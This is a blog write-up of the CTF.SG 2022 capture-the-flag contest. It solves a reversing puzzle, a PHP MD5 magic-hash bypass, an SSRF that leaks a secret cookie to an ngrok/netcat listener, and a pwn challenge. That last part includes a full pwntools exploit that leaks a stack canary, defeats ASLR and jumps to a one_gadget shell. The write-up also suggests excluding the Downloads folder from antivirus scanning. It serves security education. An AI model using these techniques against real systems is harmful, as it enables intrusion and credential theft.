CTF.SG CTF 2022 Write-up

Hi everyone! Today’s write-up is on CTF.SG 2022. It is a 24 hours CTF hosted over the weekend (12-13/3/2022) with many different categories such as Sanity, Web, Pwn, Cryptography, Reverse Engineering, and Misc. I did not have time to solve many challenges as I needed my sleep. This CTF definitely isn’t easy, especially for reverse engineering and pwn as a number of the challenges do not have any teams solved them or only 4-6 teams solved it despite having 130 teams competing it. Let’s get started!

1. CTF.SG CTF Trailer (Sanitiy)

Watching the video will show us that the flag might actually be hidden in the graph nodes animation when we zoom out of the functions. As such, I open up Trailer.exe on IDA Freeware, changed the background color of IDA to black so that it is easier to see. Clicking on the different functions and slowly piece up the flag. Below show some glimpses of the flag which is CTFSG{CFG_4n1m4t10n}. Note that Trailer.exe is flagged as malware by anti-viruses. Hence, you have to exclude the Download folder when you download the file unless you are using Mac or Linux.

2. Wildest Dreams Part 2 (Web)

Once downloaded the file, 1989.php, we can see it is the source code of the website. Based on the PHP code, we can see that the flag will be printed if the md5 hash collision occurs as both input string (via variable i1 and i2 using GET request) must be longer than 14 characters and is different from one another.


error_reporting(E_ERROR | E_PARSE);
			<!-- Main -->
				<div class="wrapper style1">

					<div class="container">
						<article id="main" class="special">
								<h2><a href="#">I could be in your wildest dream.</a></h2>
									I'm like the water when your ship rolled in that night<br>
									Rough on the surface but you cut through like a knife
							<a href="#" class="image featured"><img src="images/tsbg.jpg" alt="" /></a>
								if(!empty($_GET['i1']) && !empty($_GET['i2'])){
									$i1 = $_GET['i1'];
									$i2 = $_GET['i2'];
									if($i1 === $i2){
										die("i1 and i2 can't be the same!");
									$len1 = strlen($i1);
									$len2 = strlen($i2);
									if($len1 < 15){
										die("i1 is too shorttttttt pee pee pee pee pee");
									if($len2 < 15){
										die("i2 is too shorttttttt pee pee pee pee pee");
									if(md5($i1) == md5($i2)){
										echo $flag;
									echo "<br>The more that you say, the less i know.";
								} else {
									echo "<br> You need to provide two strings, i1 and i2. /1989.php?i1=a&i2=b";


As a result, we just need to search for magic hashes which I can find a list of them from this website. I used any two of the strings that are more than 14 characters.

Using the following URL, I can obtain the flag:


3. Don’t touch my flag (Web)

We will be given this zip file and two links, http://chals.ctf.sg:40101/ and http://chals.ctf.sg:40102/. Note that port 40101 is the proxy server that is accessing port 40102 which is the main/backend server that has the flag. The zip file contains source code for both the proxy server and the main/backend server. From now I will just call the main server as backend server as it is called backend on the source code directory name.

If we access the proxy website, we can see the flag has been censored.

The source code on the proxy server’s main.py will show us that if we go to the / (root) directory, it will auto query its own /get request where “/flag” is passed as a value for the uri parameter via the GET request.

So we can directly query the /get and modify the value for the uri parameter. We should see that if we request from /get, it will censor the result of whatever content we request.

We can see that there SSRF can be performed if we query /login?next=<website> from the backend server. However, we will need to supply the secret value as a cookie or via GET request. Remember the proxy server’s main.py showed that it has the secret value and set it as a cookie before querying for the flag from the backend server

Therefore, the attack vector is:

  • Steal the secret value stored as a cookie from the proxy server’s request via a redirect.
  • Access the /flag directly from the backend server using our stolen secret value.

Since SSRF can be performed, we can redirect the proxy server’s request to the backend’s server to our machine. We can use Ngrok and Netcat where Ngrok’s public server tunnels its incoming connection to our machine located in our private network in our home where our Netcat listens for the incoming request. (You can use Amazon Web Server too unless your home router has configured inbound port forwarding.)

Firstly, we will need to download, install Ngrok, and run it. Remember to register an account for ngrok’s authentication token and verify your email before using it.

kali@kali~$ curl -s https://ngrok-agent.s3.amazonaws.com/ngrok.asc | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null &&
              echo "deb https://ngrok-agent.s3.amazonaws.com buster main" | sudo tee /etc/apt/sources.list.d/ngrok.list &&
              sudo apt update && sudo apt install ngrok   
kali@kali~$ ngrok authtoken <token>
kali@kali~$ ngrok http 80

Now we can start netcat at port 80 on another terminal to listen for the incoming connection.

kali@kali~$ nc -lvnp 80

Make the following request via the browser or using cURL. Remember to change the value of the next parameter to your ngrok’s domain name.


We will see the secret value in the cookie from our Netcat.

kali@kali~$ nc -lvnp 80              
listening on [any] 80 ...
connect to [] from (UNKNOWN) [] 54234
GET / HTTP/1.1
Host: ccc1-42-61-130-166.ngrok.io
User-Agent: python-requests/2.27.1
Accept: */*
Accept-Encoding: gzip, deflate
Cookie: secret=8byEt7F60cCSRpQs1jeAXQqByOsK5P5b
X-Forwarded-Proto: http

Finally, we can use cURL and set our cookie value using the secret value to directly access the flag from the backend server since the proxy server always censors the flag.

kali@kali~$ curl --cookie "secret=8byEt7F60cCSRpQs1jeAXQqByOsK5P5b" -L "http://chals.ctf.sg:40102/flag" 

4. PKMN For Noobs (Pwn)


pkmn for noobs question

This challenge is an ROP challenge where we will have to bypass the canary by leaking it before using one_gadget for ROP. We are provided with 3 files, ld.so.2, libc.so.6, and pkmn_for_noobs which is an x64 ELF binary file. You can also download my IDA Freeware 7.7 database file here so that you don’t have to reverse engineer the binary and rename the variables. Unfortunately, I was only able to figure out how to leak the canary after the CTF which I no longer have access to the CTF to test my one_gadget during ROP. However, this challenge is pretty interesting and I decided to do a write-up to explain how to exploit it. Let’s get started.

Firstly, running checksec will allow us to see that the file has ASLR/PIE enabled as well as canary protection.

kali@kali~$ checksec --file=./pkmn_for_noobs
Full RELRO Canary found NX enabled PIE enabled

The binary consists of a home page, a page to input our names, and inputting coordinates to throw the Pokeball at cells of the table/map to catch the pokemon.

kali@kali~$ chmod +x ./pkmn_for_noobs
kali@kali~$ ./pkmn_for_noobs

                          ~ Not Gonna Miss'em All! ~

Welcome, Unnamed Trainer!
Number of Wins: 0

1. New Game
2. Set Trainer Name
3. Exit

Enter choice: 2
Enter trainer name: aaa

                       ~ Not Gonna Miss'em All! ~

Welcome, aaa!
Number of Wins: 0

1. New Game
2. Set Trainer Name
3. Exit

Enter choice: 1

   0   1   2   3   4   5   6   7   8   9
0 *   *   *   *   *   *   *   *   * P * *
1 *   *   *   *   *   *   *   *   *   *   *
2 *   *   *   *  * P *   *   *   *   *   *
3 *   *   * P *   *   *   *   *   *   *  *
4 *   *   *   *   *   *   * P *   *   *   *
5 *   *   *   *   *   *   *   *   *   *   *
6 *   *   *   *   *   *   *   *   *   *   *
7 *   *   *   *   *   *   *   *   * P * *
8 *   *   *   *   *   *   *   *   *   *   *
9 *   *   *   *   *   *   *   *   *   *   *

Enter target (row) => 3
Enter target (column) => 2

   0   1   2   3   4   5   6   7   8   9
0 *   *   *   *   *   *   *   *   * P * *
1 *   *   *   *   *   *   *   *   *   *   *
2 *   *   *   *  * P *   *   *   *   *   *
3 *   *   * O *   *   *   *   *   *   *  *
4 *   *   *   *   *   *   * P *   *   *   *
5 *   *   *   *   *   *   *   *   *   *   *
6 *   *   *   *   *   *   *   *   *   *   *
7 *   *   *   *   *   *   *   *   * P * *
8 *   *   *   *   *   *   *   *   *   *   *
9 *   *   *   *   *   *   *   *   *   *   *

Enter target (row) =>

4.1 Leak canary

I noticed that there are two vulnerabilities.

  1. When inputting the trainer’s name, there is no check in the length of the input, leading to a buffer overflow (BoF).
  2. When setting the coordinates to throw the Pokeball, we can set any coordinates, resulting in an arbitrary write ‘O’ on the stack.

In the main(), we can see that setting the trainer name does not check the length user’s input.

As for playing the game, the input for the coordinates is not checked, allowing us to choose index values outside of the variable table 2D array.

If we look at the process_selected_target(), it processes our input coordinates. We can see that proces_target_values() will make the column’s value concatenate with row’s value (column+row), producing modified_target_value. Finally, letter ‘O’ is written to the table via “table[modified_target_value] = ‘O'” in write_to_table().


With this knowledge, we can now leak the canary value. Note that the offset of the canary is 0x8, 0x50 for the trainer’s name, and 0xC0 for the table.

Since the trainer’s name is always printed on the main menu, we can leak the canary’s value from the trainer’s name. We must first pad the trainer’s name until it reaches right before the canary’s location. Note that in Linux, the canary’s first byte is always a NULL byte. Hence we can pad 0x50-0x8 = 0x48 (72) ‘A’s. As the program uses scanf() to get our trainer’s name input, it will automatically append NULL string terminator which is placed at the 1st byte of the canary. Since the canary’s 1st byte is already 0x00, it doesn’t matter.

Once we overflow it, we can play the game where we set our row’s value to 0xC0-0x8 = 0xB8 (184) while the column’s value to 0. This will result in “table[184] = ‘O'” which will overwrite the canary’s 1st byte. We must then win the game to go back to the main menu which will finally print 72 As + canary since printf(%s”, trainer_name) only stops printing once it reaches the NULL string terminator.


Below shows the screenshot of firstly padding 72 ‘A’s before writing ‘O’ to the NULL byte and winning the game will go back to the main menu, printing the training name that has 72 ‘A’s + O + <canary_value_without_1st_byte>.


We can automate the whole process (including winning the game) using pwntools to leak the canary but I will only show the full working exploit at the end of this section.

4.2 Bypass ASLR/PIE

Previously we saw on checksec that it has ASLR/PIE enabled. Similarly, we can bypass it by printing the return address on the stack via the trainer’s name. Note that RBP’s value is 0x0000000000000000 hence previously, the printing of the trainer’s name stops at canary since RBP is after canary. Hence, the method is the same as we just need to overflow 0x50 (trainer_name offset to RBP) + 0x7 (RBP size – 1) = 0x57 (87)  to overflow until near the return address. Remember scanf() will append a NULL string terminator hence for RBP, we overflow by 0x7 instead of 0x8. Finally, we can write ‘O’ to the NULL byte during the playing of the game to leak the return address value after winning the game when printing the trainer’s name.


Below shows the demonstration of the leaking return address.

Note that the return address is actually the address of libc’s __libc_start_main()+231. We can see this on IDA that pkmn_for_noob’s start() pass main()‘s address to __libc_start_main(). In __libc_start_main(), pkmn_for_noob’s main() was called near the end of the function. So the return address should be the next instruction after caller (shown in green arrow).

4.3. ROP gadget

While we craft our ROP, we must note that it is easier for us to use one_gadget for “execve(‘/bin/sh’, NULL, NULL)” because of scanf(). scanf() stops reading once it reads NULL byte string terminator from our input. If we use the ROP chain, there will be a NULL byte due to the address not using up the full 8 bytes (0x007fXXXXXXXXXXXX). However, we can still do so but we will need to overflow the last ROP chain’s item, followed by the 2nd last, etc. So basically filling the stack in the First in Last out (FiLO) format shown below in chronological order.

  1. 112 ‘A’s + ROP_chain_last_item
  2. 104 ‘A’s + ROP_chain_3rd_item
  3. 96 ‘A’s + ROP_chain_2nd_item
  4. 88 ‘A’ + ROP_chain_1st_item

This is troublesome hence I used one_gadget tool to find a gadget that will lead to calling “execve(‘/bin/sh’, NULL, NULL)”. Below shows 3 gadgets.

kali@kali~$ sudo gem install one_gadget
kali@kali~$ one_gadget ./libc.so.6
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
rsp & 0xf == 0
rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
[rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
[rsp+0x70] == NULL

Therefore, we can fill up the canary value and the return address with the value we need by overflowing the trainer’s name. The canary will be filled with the leaked canary value we found just now. The return address will contain the one_gadget to jump to the shell. Remember the 1st byte of the canary is 0x00? We can overflow the trainer’s name again with 72’A’s so that scanf() will overwrite the first byte of the canary with 0x00.

Finally, we can trigger the ROP by exiting the game.

Below shows the full working exploit, pkmn_exploit.py:

from pwn import *

context.arch = "amd64"

def win_the_game():
# we will first get the table values to find the pokemon 'P' and derive its coordinates
coordinates = list()
# b'\n\n\x1b[1;36m' are the values before "Enter target (row) => "
msg = r.recvuntil(b'\n\n\x1b[1;36m').decode("UTF-8").split('\n')
for row,line in enumerate(msg[1:]):
split_by_col = line.split('*')
for column,cell in enumerate(split_by_col[1:]):
if 'P' in cell:
coordinates.append((row, column))

for row,column in coordinates:
r.sendlineafter(b'Enter target (row) => ', str(row).encode())
r.sendlineafter(b'Enter target (column) => ', str(column).encode())


libc = ELF("./libc.so.6")

# connect to remote server
#r = remote("chals.ctf.sg", 30401)
# for local testing
r = process("./pkmn_for_noobs")

############# leak canary value #############
# write trainer name until the padding is right before canary's location
padding_b4_canary = b'A' * (TRAINER_OFFSET - CANARY_OFFSET)
r.sendlineafter(b'Enter choice: ', b'2')
r.sendlineafter(b'Enter trainer name: ', padding_b4_canary)

# play the game to write 'O' to overwrite NULL byte at the 1st byte of the canary
offset_from_table_2_canary = TABLE_OFFSET - CANARY_OFFSET
r.sendlineafter(b'Enter choice: ', b'1')
r.sendlineafter(b'Enter target (row) => ', str(offset_from_table_2_canary).encode())
r.sendlineafter(b'Enter target (column) => ', b'0')

# win the game to go back to the main menu

# we receive until right before the canary value in the trainer's name
canary = r.recvuntil(b'!', drop=True)
log.info("Canary value: " + str(canary))

############# Bypass ASLR #############
# overwrite RBP values with 7'B's to remove NULL bytes except last byte
padding_b4_ret_addr = b'A' * (TRAINER_OFFSET + 7)
r.sendlineafter(b'Enter choice: ', b'2')
r.sendlineafter(b'Enter trainer name: ', padding_b4_ret_addr)

# play the game to write 'O' to overwrite NULL byte at the last byte of RBP
offset_2_last_byte_of_rbp = TABLE_OFFSET + 7
r.sendlineafter(b'Enter choice: ', b'1')
r.sendlineafter(b'Enter target (row) => ', str(offset_2_last_byte_of_rbp).encode())
r.sendlineafter(b'Enter target (column) => ', b'0')

# win the game to go back to the main menu

# we receive until right before the ret address in the trainer's name
ret_addr = u64(r.recvuntil(b'!', drop=True).ljust(8, b'\x00'))
log.info("Ret addr: " + hex(ret_addr))

# we can now set the base address of libc
libc.address = ret_addr - (libc.symbols["__libc_start_main"] + 231)

############# overwrite canary + ret addr #############
# one_gadget to call execve('/bin/sh', NULL, NULL)
one_gadget = libc.address + 0x10a41c
log.info("one_gadget: " + hex(one_gadget))

# overwrite canary value (7 bytes) and return address (to shell)
rbp = b'B' * 8
rop_get_shell_exploit = padding_b4_canary + b'A' + canary + rbp + p64(one_gadget)

# exploit the vulnerability to print out the ASLR address of puts() in libc in the server
r.sendlineafter(b'Enter choice: ', b'2')
r.sendlineafter(b'Enter trainer name: ', rop_get_shell_exploit)
r.recvuntil(b'Welcome, \x1b[0m\x1b[1;33m')
log.info("Trainer name after overwriting canary + RBP + RIP: " + str(r.recvuntil(b'!', drop=True)))

# overwrite 1st byte of canary with NULL
r.sendlineafter(b'Enter choice: ', b'2')
r.sendlineafter(b'Enter trainer name: ', padding_b4_canary)
r.recvuntil(b'Welcome, \x1b[0m\x1b[1;33m')
log.info("Trainer name after overwriting canary's 1st byte with NULL: " + str(r.recvuntil(b'!', drop=True)))

############# obtain shell #############
# exit program to trigger ROP
r.sendlineafter(b'Enter choice: ', b'3')


Unfortunately, there are some library settings I need to change, otherwise, it will have an error when testing it locally. I no longer have the access to the server to test my exploit.

kali@kali~$ python3 pkmn_exploit.py
[*] '/home/kali/Desktop/libc.so.6'
Arch: amd64-64-little
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './pkmn_for_noobs': pid 3728
[*] Canary value: b'\x84\x92\xbfJ;w\xe8'
[*] Ret addr: 0x7f3f2c58c7fd
[*] one_gadget: 0x7f3f2c675022
[*] Switching to interactive mode
[*] Got EOF while reading in interactive

I hope this article has been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.